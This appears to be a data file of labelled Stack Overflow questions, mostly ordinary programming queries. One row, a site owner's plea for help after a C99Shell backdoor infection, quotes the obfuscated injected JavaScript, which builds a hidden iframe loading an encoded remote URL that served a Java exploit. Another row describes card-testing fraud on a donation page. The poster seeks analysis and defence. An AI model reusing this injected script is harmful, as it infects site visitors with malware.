Has anyone else had experience with this? Also, what are some ways that I could stop it?
[1]: http://en.wikipedia.org/wiki/Credit_card_fraud#Carding | e-commerce | donations | fraud-prevention | null | null | null | open | Advice on stopping donation fraud
===
I work for a non-profit organisation and have created and online donations page. Recently this donations page has been used to validate stolen credit card details via the process known as [Carding][1].
The way it works is that a slacker get hold of a whole bunch of credit details but doesn't know which numbers are good or not. So they go to a donations page and attempt a small donation ($5 or less) with the stolen card number. If the donations goes through then they can use the number for bigger purchases.
Carding can cost a non-profit a lot of money as most these "donations" will end being reversed and in some cases a charge back fee will be charged by the bank.
Has anyone else had experience with this? Also, what are some ways that I could stop it?
[1]: http://en.wikipedia.org/wiki/Credit_card_fraud#Carding | 0 |
7,896,317 | 10/25/2011 21:49:44 | 686,327 | 03/31/2011 18:36:26 | 50 | 0 | Most efficient way of having an object move across a video? | I have a still image that I would like to utilize to move across a wmv file I have. What is the easiest and most proficient way I can accomplish this without having to go frame by frame? I wasn't sure if there was an easy way to do this in Premiere or if Flash should be used?
Thanks! | flash | video | video-editing | adobe-premiere | null | 10/26/2011 14:19:26 | off topic | Most efficient way of having an object move across a video?
===
I have a still image that I would like to utilize to move across a wmv file I have. What is the easiest and most proficient way I can accomplish this without having to go frame by frame? I wasn't sure if there was an easy way to do this in Premiere or if Flash should be used?
Thanks! | 2 |
8,555,241 | 12/18/2011 22:13:46 | 561,395 | 01/03/2011 15:06:36 | 955 | 5 | Connect iOS app to Mac app over wifi? Similar to iTunes Remote? | I'm wondering if it's possible for me to connect an iOS app with a Mac app over wifi, in a similar way to remote and iTunes, where it pairs the devices up so they can communicate with each other? | iphone | objective-c | osx | application | connection | null | open | Connect iOS app to Mac app over wifi? Similar to iTunes Remote?
===
I'm wondering if it's possible for me to connect an iOS app with a Mac app over wifi, in a similar way to remote and iTunes, where it pairs the devices up so they can communicate with each other? | 0 |
9,387,284 | 02/22/2012 00:06:13 | 1,089,793 | 12/09/2011 13:22:48 | 10 | 0 | jQuery UI tabs example and adding own script | This is jQuery tabs script: http://jqueryui.com/demos/tabs/#manipulation
var $tabs = $( "#tabs").tabs({
tabTemplate: "<li><a href='#{href}'>#{label}</a> <span class='ui-icon ui-icon-close'>Remove Tab</span></li>",
add: function( event, ui ) {
var tab_content = $tab_content_input.val() || "Tab " + tab_counter + " content.";
$( ui.panel ).append( "<p>" + tab_content + "</p>" );
}
});
// rest of script
So, what's I need? I need to script will be setting (with other content) on line var tab_content = . Normally my own script is loading on the bottom of page, after all HTML code, but in this case I don't know how to do this. I need to script be unique for each tabs.
| javascript | jquery | ajax | jquery-ui | null | null | open | jQuery UI tabs example and adding own script
===
This is jQuery tabs script: http://jqueryui.com/demos/tabs/#manipulation
var $tabs = $( "#tabs").tabs({
tabTemplate: "<li><a href='#{href}'>#{label}</a> <span class='ui-icon ui-icon-close'>Remove Tab</span></li>",
add: function( event, ui ) {
var tab_content = $tab_content_input.val() || "Tab " + tab_counter + " content.";
$( ui.panel ).append( "<p>" + tab_content + "</p>" );
}
});
// rest of script
So, what's I need? I need to script will be setting (with other content) on line var tab_content = . Normally my own script is loading on the bottom of page, after all HTML code, but in this case I don't know how to do this. I need to script be unique for each tabs.
| 0 |
9,669,492 | 03/12/2012 15:01:15 | 319,618 | 04/18/2010 09:55:23 | 5,675 | 325 | How can I determine which version of MacOS I'm using? | I'm compiling conditionally:
#ifdef WIN32
myVal = "Windows";
#elif __APPLE__
myVal = "Apple";
#endif
Is there a value I can test within the `__APPLE__` block to test against different versions (10.4,10.5,10.6 etc.)? | c++ | osx | compilation | cross-platform | null | null | open | How can I determine which version of MacOS I'm using?
===
I'm compiling conditionally:
#ifdef WIN32
myVal = "Windows";
#elif __APPLE__
myVal = "Apple";
#endif
Is there a value I can test within the `__APPLE__` block to test against different versions (10.4,10.5,10.6 etc.)? | 0 |
8,166,009 | 11/17/2011 11:01:56 | 1,043,081 | 11/12/2011 12:02:21 | 1 | 0 | Comparing varibles | Hi please can some one help me.
i have found that the code for comparing two Integers in a while loop is ==
but what is the code to compare three integers
meaning
the user will input a minimum value and a maxium value and you want to display the valeus in between
please can you help
Thanks | java | null | null | null | null | 11/17/2011 13:54:26 | not a real question | Comparing varibles
===
Hi please can some one help me.
i have found that the code for comparing two Integers in a while loop is ==
but what is the code to compare three integers
meaning
the user will input a minimum value and a maxium value and you want to display the valeus in between
please can you help
Thanks | 1 |
9,725,251 | 03/15/2012 17:45:47 | 1,221,739 | 02/20/2012 18:20:56 | 1 | 0 | Code Security in .Net | I wrote a program and sent the compiled file to my friend. but after an hour, he sent me the code of that! How did he do that. And how can i prevent it?
is this problem just in .net? | .net | .net-framework-version | null | null | null | null | open | Code Security in .Net
===
I wrote a program and sent the compiled file to my friend. but after an hour, he sent me the code of that! How did he do that. And how can i prevent it?
is this problem just in .net? | 0 |
8,879,635 | 01/16/2012 11:54:15 | 1,105,883 | 12/19/2011 12:27:42 | 41 | 2 | installation procedure for python | I want to install python with Django framework in my machine, Through google i found that versions in between 2.4 to 2.7 support Django framework(i may be wrong)so any one please guide me to install this software i need step-by-step procedure. Thanks in advance | python | django | null | null | null | 01/17/2012 09:03:05 | off topic | installation procedure for python
===
I want to install python with Django framework in my machine, Through google i found that versions in between 2.4 to 2.7 support Django framework(i may be wrong)so any one please guide me to install this software i need step-by-step procedure. Thanks in advance | 2 |
7,591,337 | 09/29/2011 01:02:02 | 958,705 | 09/22/2011 09:04:58 | 16 | 0 | PDF in JAVA using Itext | I just want to ask if there's any way that I can convert the pdf into image?? Or can I access the printer settings of the acrobat reader by coding? Thanks! | java | pdf | itext | null | null | 09/29/2011 23:53:25 | not a real question | PDF in JAVA using Itext
===
I just want to ask if there's any way that I can convert the pdf into image?? Or can I access the printer settings of the acrobat reader by coding? Thanks! | 1 |
10,474,912 | 05/06/2012 22:45:30 | 1,378,657 | 05/06/2012 22:05:50 | 1 | 0 | Multi-threading with ports | I am new to multi-threading and I'm trying to create a network where multiple nodes try to talk to each other through various unique ports, all on the same computer. Each node is assigned multiple Tx and Rx port numbers depending on how many nodes it is connected to and every Tx port on a node maps to just one Rx port on some other node. So for e.g., if I have 2 connected nodes A and B, then my port maps would look like: at A , tx_port=4000 rx_port=4100 destination_rx_port=4101; at B, tx_port=4002 rx_port=4101 dest_rx_port=4100. This list would get longer at each node as it connects with more nodes.
Now on every node, I create as many threads as there are receiving ports to listen to all of them simultaneously. I then send a HELLO from each node to all of its connections and keep sending it until an acknowledgment is heard from each of them. Now coming back to the case of A and B, if I run A first and then B, B's HELLO is heard by A and is also acknowledged, and B stops its HELLO transmission. But A's HELLO is never heard by B and B always crashes (aborts). The situation is the reverse when I run B first and then A.
But I found out that if I din't create the threads and just placed my port_listen() function inside main under a while(1) loop then B is able to listen A's HELLO. The problem appears to be that I have to create the thread to listen on a port before I send anything to that port, but that sounds silly and I'm sure there is a better explanation. I would be grateful if anyone helped me. I haven't posted my code because it is rather big and messy for now, and has a lot of other things going on but as I've checked, the code gives the same problem even after commenting them out.
Thanks.
| c++ | null | null | null | null | 05/06/2012 23:59:03 | too localized | Multi-threading with ports
===
I am new to multi-threading and I'm trying to create a network where multiple nodes try to talk to each other through various unique ports, all on the same computer. Each node is assigned multiple Tx and Rx port numbers depending on how many nodes it is connected to and every Tx port on a node maps to just one Rx port on some other node. So for e.g., if I have 2 connected nodes A and B, then my port maps would look like: at A , tx_port=4000 rx_port=4100 destination_rx_port=4101; at B, tx_port=4002 rx_port=4101 dest_rx_port=4100. This list would get longer at each node as it connects with more nodes.
Now on every node, I create as many threads as there are receiving ports to listen to all of them simultaneously. I then send a HELLO from each node to all of its connections and keep sending it until an acknowledgment is heard from each of them. Now coming back to the case of A and B, if I run A first and then B, B's HELLO is heard by A and is also acknowledged, and B stops its HELLO transmission. But A's HELLO is never heard by B and B always crashes (aborts). The situation is the reverse when I run B first and then A.
But I found out that if I din't create the threads and just placed my port_listen() function inside main under a while(1) loop then B is able to listen A's HELLO. The problem appears to be that I have to create the thread to listen on a port before I send anything to that port, but that sounds silly and I'm sure there is a better explanation. I would be grateful if anyone helped me. I haven't posted my code because it is rather big and messy for now, and has a lot of other things going on but as I've checked, the code gives the same problem even after commenting them out.
Thanks.
| 3 |
1,763,301 | 11/19/2009 13:29:02 | 26,521 | 10/09/2008 14:54:41 | 1,041 | 38 | How do you deal with composite pattern when using hibernate and domain-driven design? | Does hibernate has support for hierarchical data in a database where
- you use a parentId
- you use a parentId and an orderId
- you use [Modified
Preorder Tree Traversal][1]
[1]: http://articles.sitepoint.com/article/hierarchical-data-database/2 | composite-pattern | nhibernate | hibernate | domain-driven-design | null | null | open | How do you deal with composite pattern when using hibernate and domain-driven design?
===
Does hibernate has support for hierarchical data in a database where
- you use a parentId
- you use a parentId and an orderId
- you use [Modified
Preorder Tree Traversal][1]
[1]: http://articles.sitepoint.com/article/hierarchical-data-database/2 | 0 |
9,543,398 | 03/03/2012 04:16:02 | 750,051 | 05/12/2011 06:50:28 | 6 | 0 | Yum upgrade to PHP 5.4? | PHP 5.4 was just released. Is there any way to upgrade my yum installation of PHP to 5.4 right away, or do I have to wait for package repos to start offering it? | php | linux | lamp | yum | null | 03/04/2012 15:22:03 | off topic | Yum upgrade to PHP 5.4?
===
PHP 5.4 was just released. Is there any way to upgrade my yum installation of PHP to 5.4 right away, or do I have to wait for package repos to start offering it? | 2 |
5,210,353 | 03/06/2011 12:05:05 | 374,253 | 06/23/2010 13:13:54 | 919 | 8 | #define and CUDA | Why does the following snippet not work with CUDA (both 3.2 and 4.0)?
#define NUM_BLOCKS 16
// lots of code.
dim3 dimBlock(NUM_BLOCKS, NUM_BLOCKS);
but this,
dim3 dimBlock(16, 16);
does?
I keep getting a `error : expected a ")"` and `error : expected an expression`. What am I missing? | c++ | preprocessor | cuda | null | null | null | open | #define and CUDA
===
Why does the following snippet not work with CUDA (both 3.2 and 4.0)?
#define NUM_BLOCKS 16
// lots of code.
dim3 dimBlock(NUM_BLOCKS, NUM_BLOCKS);
but this,
dim3 dimBlock(16, 16);
does?
I keep getting a `error : expected a ")"` and `error : expected an expression`. What am I missing? | 0 |
9,089,478 | 02/01/2012 01:22:47 | 121,196 | 06/11/2009 09:33:59 | 1,855 | 14 | sync time on linux using ntpand persisit it | on linux to sync time with ntp you say
<pre>
ntpdate pool.ntp.org
</pre>
however after reshoots, the time gets reset to some odd value again. is there a way to persist the changes?
how do I set the computer clock to the correct time and then keep it correct after reboot? | linux | time | ntp | null | null | 02/01/2012 02:07:04 | off topic | sync time on linux using ntpand persisit it
===
on linux to sync time with ntp you say
<pre>
ntpdate pool.ntp.org
</pre>
however after reshoots, the time gets reset to some odd value again. is there a way to persist the changes?
how do I set the computer clock to the correct time and then keep it correct after reboot? | 2 |
2,198,908 | 02/04/2010 10:31:36 | 287,210 | 11/23/2009 18:46:23 | 103 | 10 | ofstream - detect if file has been deleted between open and close | I'm wriiting a logger on linux.<br>
the logger open a file on init.<br>
and write to that file descriptor as the program run.<br>
if the log file will be deleted after the file descriptor was created,<br>
no exception/error will be detected .<br>
i have tried:
out.fail()
!out.is_open()
i have google this and find this post .<br>
http://www.daniweb.com/forums/thread23244.html
so i understand now that even if the file was deleted by using rm. it is still exist.<br>
what is the best way to handele this?<br>
1. this is a log application so performance is an issue , i don't want to use stat() on every write<br>
2. i don't care if some of the line in the log files will be missing at the start <br>
| c++ | file | linux | null | null | null | open | ofstream - detect if file has been deleted between open and close
===
I'm wriiting a logger on linux.<br>
the logger open a file on init.<br>
and write to that file descriptor as the program run.<br>
if the log file will be deleted after the file descriptor was created,<br>
no exception/error will be detected .<br>
i have tried:
out.fail()
!out.is_open()
i have google this and find this post .<br>
http://www.daniweb.com/forums/thread23244.html
so i understand now that even if the file was deleted by using rm. it is still exist.<br>
what is the best way to handele this?<br>
1. this is a log application so performance is an issue , i don't want to use stat() on every write<br>
2. i don't care if some of the line in the log files will be missing at the start <br>
| 0 |
3,410,274 | 08/04/2010 22:13:56 | 89,818 | 04/11/2009 18:29:54 | 201 | 4 | Protect website from Backdoor/PHP.C99Shell aka Trojan.Script.224490 | My website was infected by a trojan script.
Somebody managed to create/upload a file called "x76x09.php" or "config.php" into my webspace's root directory. Its size is 44287 bytes and its MD5 checksum is 8dd76fc074b717fccfa30b86956992f8. [I've analyzed this file using Virustotal][1]. These results say it's "Backdoor/PHP.C99Shell" or "Trojan.Script.224490".
This file has been executed in the same moment when it was created. So it must have happened automatically. This file added the following malicious code to the end of every index.php on my webspace.
</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>
After that code was on my page, users reported a blue panel popping up in Firefox. It asked them to install a plugin. Now some of them have Exploit.Java.CVE-2010-0886.a on their PC.
The infection did happen although I have allow_url_fopen and allow_url_include turned off. And my hoster says the file wasn't uploaded via FTP.
So my questions are:
- What does the malicious code do? How is it encoded?
- How could the remote file ("x76x09.php" or "config.php") come to my webspace? SQL injection? Virus on my own PC?
- How can I protect my website from such attacks in the future?
Thank you very much in advance! I really need help.
[This question is similar. But it's more like a report. I didn't know it's a virus from the beginning. So this question here refers to the virus itself, the other question does not.][2]
[1]: https://www.virustotal.com/en/analisis/bba007d0aa0960de0e5357659475b646d592fec48ab3cb1701e2736aecfb5e45-1280439959
[2]: http://stackoverflow.com/questions/3121367/php-script-malicious-javascript-code-at-the-end | php | security | virus | trojan | null | null | open | Protect website from Backdoor/PHP.C99Shell aka Trojan.Script.224490
===
My website was infected by a trojan script.
Somebody managed to create/upload a file called "x76x09.php" or "config.php" into my webspace's root directory. Its size is 44287 bytes and its MD5 checksum is 8dd76fc074b717fccfa30b86956992f8. [I've analyzed this file using Virustotal][1]. These results say it's "Backdoor/PHP.C99Shell" or "Trojan.Script.224490".
This file has been executed in the same moment when it was created. So it must have happened automatically. This file added the following malicious code to the end of every index.php on my webspace.
</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>
After that code was on my page, users reported a blue panel popping up in Firefox. It asked them to install a plugin. Now some of them have Exploit.Java.CVE-2010-0886.a on their PC.
The infection did happen although I have allow_url_fopen and allow_url_include turned off. And my hoster says the file wasn't uploaded via FTP.
So my questions are:
- What does the malicious code do? How is it encoded?
- How could the remote file ("x76x09.php" or "config.php") come to my webspace? SQL injection? Virus on my own PC?
- How can I protect my website from such attacks in the future?
Thank you very much in advance! I really need help.
[This question is similar. But it's more like a report. I didn't know it's a virus from the beginning. So this question here refers to the virus itself, the other question does not.][2]
[1]: https://www.virustotal.com/en/analisis/bba007d0aa0960de0e5357659475b646d592fec48ab3cb1701e2736aecfb5e45-1280439959
[2]: http://stackoverflow.com/questions/3121367/php-script-malicious-javascript-code-at-the-end | 0 |
3,872,200 | 10/06/2010 12:03:58 | 465,668 | 10/04/2010 09:42:03 | 16 | 2 | passing the password as a parameter in a scp command ... | how can i pass the password along with the scp command.when we use the scp protocol, it prompts us for the password.But i want to pass it as a parameter.Is that possible without using the key generation techniques? | scp | null | null | null | null | 06/01/2011 13:23:40 | off topic | passing the password as a parameter in a scp command ...
===
how can i pass the password along with the scp command.when we use the scp protocol, it prompts us for the password.But i want to pass it as a parameter.Is that possible without using the key generation techniques? | 2 |
9,664,028 | 03/12/2012 08:52:01 | 1,263,646 | 03/12/2012 08:43:54 | 1 | 0 | CRM 2011- Importing data from csv ( N-N relationship between contact and account) | I have a situation in Microsoft CRM 2011 in which contacts and accounts are associated N-N. I need to be able to import the data from a cvs file but have not been able to find a solution so far. Any help will be appreciated.
~A | import | microsoft | crm | null | null | 03/13/2012 12:57:18 | off topic | CRM 2011- Importing data from csv ( N-N relationship between contact and account)
===
I have a situation in Microsoft CRM 2011 in which contacts and accounts are associated N-N. I need to be able to import the data from a cvs file but have not been able to find a solution so far. Any help will be appreciated.
~A | 2 |
3,868,027 | 10/05/2010 21:47:54 | 24,246 | 10/01/2008 18:06:26 | 389 | 9 | Spring Security: Allow page views for all Fully Authenticated users, unless they have a specific role. | I'm using Spring 3.0.3 with Spring Security.
So, I have fairly lenient restrictions on an app I'm making. I only want to make sure that a person can log in and be authenticated in order to view the app. I don't want to grant roles to every potential user of this app (could be in the 10s of thousands).
So, it's been fine to use:
<security:intercept-url pattern="/**" access="isFullyAuthenticated()" requires-channel="https"/>
But now I want to be able to restrict people from using the app if I need to, so I created a role called ROLE_BANNED in the hopes that I could just assign roles to those people being problems.
So, now I'm trying this:
<security:intercept-url pattern="/**" access="isFullyAuthenticated() and not hasRole('ROLE_BANNED')" requires-channel="https"/>
This seemed to work at first, but it can't load my denied page. I believe that it is restricting access to the denied page. I can't load the denied page through the controller or as a jsp in WEB-INF.
Can someone show me how to allow authenticated users to access all of my app and send people with a specific role (ROLE_BANNED) to the denied page? | java | security | spring | null | null | null | open | Spring Security: Allow page views for all Fully Authenticated users, unless they have a specific role.
===
I'm using Spring 3.0.3 with Spring Security.
So, I have fairly lenient restrictions on an app I'm making. I only want to make sure that a person can log in and be authenticated in order to view the app. I don't want to grant roles to every potential user of this app (could be in the 10s of thousands).
So, it's been fine to use:
<security:intercept-url pattern="/**" access="isFullyAuthenticated()" requires-channel="https"/>
But now I want to be able to restrict people from using the app if I need to, so I created a role called ROLE_BANNED in the hopes that I could just assign roles to those people being problems.
So, now I'm trying this:
<security:intercept-url pattern="/**" access="isFullyAuthenticated() and not hasRole('ROLE_BANNED')" requires-channel="https"/>
This seemed to work at first, but it can't load my denied page. I believe that it is restricting access to the denied page. I can't load the denied page through the controller or as a jsp in WEB-INF.
Can someone show me how to allow authenticated users to access all of my app and send people with a specific role (ROLE_BANNED) to the denied page? | 0 |
4,858,764 | 02/01/2011 04:02:54 | 597,836 | 02/01/2011 03:57:50 | 1 | 0 | Term in Programming/ Chaos Physics. | What is the term for a problem in physics or programming for a question with such complex data, or so many possible answers that the question approaches unanswerable. I'm not looking for a wicked problem, which has one best answer and can no longer be tested again once an attempt has been made. I am looking at something like the traveling salesman question, but on a larger scale like the idea of philosophical determinism having predictive effects in behavior. | math | physics | vocabulary | null | null | 02/01/2011 10:29:15 | off topic | Term in Programming/ Chaos Physics.
===
What is the term for a problem in physics or programming for a question with such complex data, or so many possible answers that the question approaches unanswerable. I'm not looking for a wicked problem, which has one best answer and can no longer be tested again once an attempt has been made. I am looking at something like the traveling salesman question, but on a larger scale like the idea of philosophical determinism having predictive effects in behavior. | 2 |
Subsets and Splits